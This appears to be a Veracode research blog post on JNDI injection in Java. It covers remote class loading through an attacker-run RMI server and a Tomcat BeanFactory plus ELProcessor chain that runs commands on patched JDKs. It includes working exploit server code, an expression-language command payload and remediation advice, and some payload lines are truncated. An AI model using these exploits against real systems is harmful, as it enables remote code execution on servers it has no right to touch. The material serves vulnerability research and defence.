Exploiting JNDI Injections in Java

Exploiting JNDI Injections in Java - Author not stated, Veracode.

- Published: date not stated
- Original: <https://www.veracode.com/blog/research/exploiting-jndi-injections-java>
- Preserved from: https://www.veracode.com/blog/research/exploiting-jndi-injections-java (live) on 2026-08-09
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Introduction

Java Naming and Directory Interface (JNDI) is a Java API that allows clients to discover and look up data and objects via a name. These objects can be stored in different naming or directory services, such as Remote Method Invocation (RMI), Common Object Request Broker Architecture (CORBA), Lightweight Directory Access Protocol (LDAP), or Domain Name Service (DNS).

In other words, JNDI is a simple Java API (such as **'InitialContext.lookup(String name)'**) that takes just one string parameter, and if this parameter comes from an untrusted source, it could lead to remote code execution via remote class loading.

When the name of the requested object is controlled by an attacker, it is possible to point a victim Java application to a malicious rmi/ldap/corba server and response with an arbitrary object. If this object is an instance of "javax.naming.Reference" class, a JNDI client tries to resolve the "classFactory" and "classFactoryLocation" attributes of this object. If the "classFactory" value is unknown to the target Java application, Java fetches the factory's bytecode from the "classFactoryLocation" location by using Java's URLClassLoader.

Due to its simplicity, It is very useful for exploiting Java vulnerabilities even when the 'InitialContext.lookup' method is not directly exposed to the tainted data. In some cases, it still can be reached via Deserialisation or Unsafe Reflection attacks.

Example of the vulnerable app:

```
    @RequestMapping("/lookup")
    @Example(uri = {"/lookup?name=java:comp/env"})
    public Object lookup(@RequestParam String name) throws Exception{
      return new javax.naming.InitialContext().lookup(name);
    }
```

Exploiting JNDI injections before JDK 1.8.0_191

By requesting "/lookup/?name=ldap://127.0.0.1:1389/Object" URL, we can make the vulnerable server connect to our controlled address. To trigger remote class loading, a malicious RMI server can respond with the following Reference:

```
public class EvilRMIServer {
  public static void main(String[] args) throws Exception {
    System.out.println("Creating evil RMI registry on port 1097");
    Registry registry = LocateRegistry.createRegistry(1097);

    //creating a reference with 'ExportObject' factory with the factory location of 'http://_attacker.com_/'
    Reference ref = new javax.naming.Reference("ExportObject","ExportObject","http://_attacker.com_/");

    ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
    registry.bind("Object", referenceWrapper);
  }
}
```

Since "ExploitObject" is unknown to the target server, its bytecode will be loaded and executed from "http://*attacker.com*/ExploitObject.class", triggering an RCE.

This technique worked well up to Java 8u121 when Oracle added codebase restrictions to RMI. After that, it was possible to use a malicious LDAP server returning the same reference, as described in the "A Journey from JNDI/LDAP manipulation to remote code execution dream land" research. A good code example may be found in the 'Java Unmarshaller Security' Github repository.

Two years later, in the Java 8u191 update, Oracle put the same restrictions on the LDAP vector and issued CVE-2018-3149, closing the door on JNDI remote classloading. However, it is still possible to trigger deserialisation of untrusted data via JNDI injection, but its exploitation highly depends on the existing gadgets.

Exploiting JNDI injections in JDK 1.8.0_191+

Since Java 8u191, when a JNDI client receives a Reference object, its "classFactoryLocation" is not used, either in RMI or in LDAP. On the other hand, we still can specify an arbitrary factory class in the "javaFactory" attribute.

This class will be used to extract the real object from the attacker's controlled "javax.naming.Reference". It should exist in the target classpath, implement "javax.naming.spi.ObjectFactory" and have at least a "getObjectInstance" method:

```
        public interface ObjectFactory {
/**
 * Creates an object using the location or reference information
 * specified.
 * ...
/*
   public Object getObjectInstance(Object obj, Name name, Context nameCtx,
                                   Hashtable environment)
      throws Exception;
}
```

The main idea was to find a factory in the target classpath that does something dangerous with the Reference's attributes. Looking at the different implementations of this method in the JDK and popular libraries, we found one that seems very interesting in terms of exploitation.

The "**org.apache.naming.factory.BeanFactory**" class within Apache Tomcat Server contains a logic for bean creation by using reflection:

```
public class BeanFactory
    implements ObjectFactory {

    /**
     * Create a new Bean instance.
     *
     * @param obj The reference object describing the Bean
     */
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx,
                                    Hashtable environment)
        throws NamingException {

        if (obj instanceof ResourceRef) {

            try {

                Reference ref = (Reference) obj;
                String beanClassName = ref.getClassName();
                Class beanClass = null;
                ClassLoader tcl =
                    Thread.currentThread().getContextClassLoader();
                if (tcl != null) {
                    try {
                        beanClass = tcl.loadClass(beanClassName);
                    } catch(ClassNotFoundException e) {
                    }
                } else {
                    try {
                        beanClass = Class.forName(beanClassName);
                    } catch(ClassNotFoundException e) {
                        e.printStackTrace();
                    }
                }

                ...

                BeanInfo bi = Introspector.getBeanInfo(beanClass);
                PropertyDescriptor[] pda = bi.getPropertyDescriptors();

                Object bean = beanClass.getConstructor().newInstance();

                /* Look for properties with explicitly configured setter */
                RefAddr ra = ref.get("forceString");
```

```
Map forced = new HashMap<>();
String value;

if (ra != null) {
    value = (String)ra.getContent();
    Class paramTypes[] = new Class[1];
    paramTypes[0] = String.class;
    String setterName;
    int index;

    /* Items are given as comma separated list */
    for (String param: value.split(",")) {
        param = param.trim();
        /* A single item can either be of the form name=method
         * or just a property name (and we will use a standard
         * setter) */
        index = param.indexOf('=');
        if (index >= 0) {
            setterName = param.substring(index + 1).trim();
            param = param.substring(0, index).trim();
        } else {
            setterName = "set" +
                    param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
                    param.substring(1);
        }
        try {
            forced.put(param,
                    beanClass.getMethod(setterName, paramTypes));
        } catch (NoSuchMethodException|SecurityException ex) {
            throw new NamingException
              ("Forced String setter " + setterName +
               " not found for property " + param);
        }
    }
}

Enumeration e = ref.getAll();

while (e.hasMoreElements()) {

    ra = e.nextElement();
    String propName = ra.getType();

    if (propName.equals(Constants.FACTORY) ||
```

```
            propName.equals("scope") || propName.equals("auth") ||
            propName.equals("forceString") ||
            propName.equals("singleton")) {
            continue;
        }

        value = (String)ra.getContent();

        Object[] valueArray = new Object[1];

        /* Shortcut for properties with explicitly configured setter */
        Method method = forced.get(propName);
        if (method != null) {
            valueArray[0] = value;
            try {
                method.invoke(bean, valueArray);
            } catch (IllegalAccessException|
                     IllegalArgumentException|
                     InvocationTargetException ex) {
                throw new NamingException
                    ("Forced String setter " + method.getName() +
                     " threw exception for property " + propName);
            }
            continue;
        }
...
```

The “BeanFactory” class creates an instance of arbitrary bean and calls its setters for all properties. The target bean class name, attributes, and attribute’s values all come from the Reference object, which is controlled by an attacker.

The target class should have a public no-argument constructor and public setters with only one “String” parameter. In fact, these setters may not necessarily start from ‘set..’ as “BeanFactory” contains some logic surrounding how we can specify an arbitrary setter name for any parameter.

```
        /* Look for properties with explicitly configured setter */
RefAddr ra = ref.get("forceString");
Map forced = new HashMap<>();
String value;

if (ra != null) {
   value = (String)ra.getContent();
   Class paramTypes[] = new Class[1];
   paramTypes[0] = String.class;
   String setterName;
   int index;

   /* Items are given as comma separated list */
   for (String param: value.split(",")) {
      param = param.trim();
      /* A single item can either be of the form name=method
       * or just a property name (and we will use a standard
       * setter) */
      index = param.indexOf('=');
      if (index >= 0) {
         setterName = param.substring(index + 1).trim();
         param = param.substring(0, index).trim();
      } else {
         setterName = "set" +
                  param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
                  param.substring(1);
      }
```

The magic property used here is “forceString”. By setting it, for example, to “x=eval”, we can make a method call with name ‘eval’ instead of ‘setX’, for the property ‘x’.

So, by utilising the “BeanFactory” class, we can create an instance of arbitrary class with default constructor and call any public method with one “String” parameter.

One of the classes that may be useful here is “**javax.el.ELProcessor**“. In its “eval” method, we can specify a string that will represent a Java expression language template to be executed.

```
package javax.el;
...
public class ELProcessor {
...
   public Object eval(String expression) {
      return getValue(expression, Object.class);
   }
```

And here is a malicious expression that executes arbitrary command when evaluated:

```
{"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new jav
```

Chaining all things together

After the patch, there is almost no difference between LDAP and RMI for exploitation purposes, so for simplicity we will use RMI..

We are writing our own malicious RMI server that responds with a crafted “ResourceRef” object:

```
import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;

public class EvilRMIServerNew {
    public static void main(String[] args) throws Exception {
        System.out.println("Creating evil RMI registry on port 1097");
        Registry registry = LocateRegistry.createRegistry(1097);

        //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactc
        //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
        ref.add(new StringRefAddr("forceString", "x=eval"));
        //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEn

        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("Object", referenceWrapper);
    }
}
```

This server responds with a serialized object of ‘org.apache.naming.ResourceRef’, with all crafted attributes to trigger the desired behaviour on the client.

Then we trigger JNDI resolution on the victim Java process:

new InitialContext().lookup(“rmi://127.0.0.1:1097/Object”)

Nothing undesirable will happen when this object is deserialised. But since it still extends “javax.naming.Reference”, the “org.apache.naming.factory.BeanFactory” factory will be used on the victim’s side to get the ‘real’ object from the Reference. **At this stage, a remote code execution**

via template evaluation will be triggered and the ‘nslookup jndi.s.artsploit.com‘ command will be executed.

The only limitation here is that the target Java application should have an “org.apache.naming.factory.BeanFactory” class from the Apache Tomcat Server in the classpath, but other application servers may have their own object factories with the dangerous functionality inside.

Solution:

The actual problem here is not within the JDK or Apache Tomcat library, but rather in custom applications that pass user-controllable data to the “InitialContext.lookup()” function, as it still represents a security risk even in fully patched JDK installations. Keep in mind that other vulnerabilities (such as ‘Deserialisation of untrusted data’ for example) may also lead to JNDI resolution in many cases. Preventing these vulnerabilities by using a source code review is always a good idea.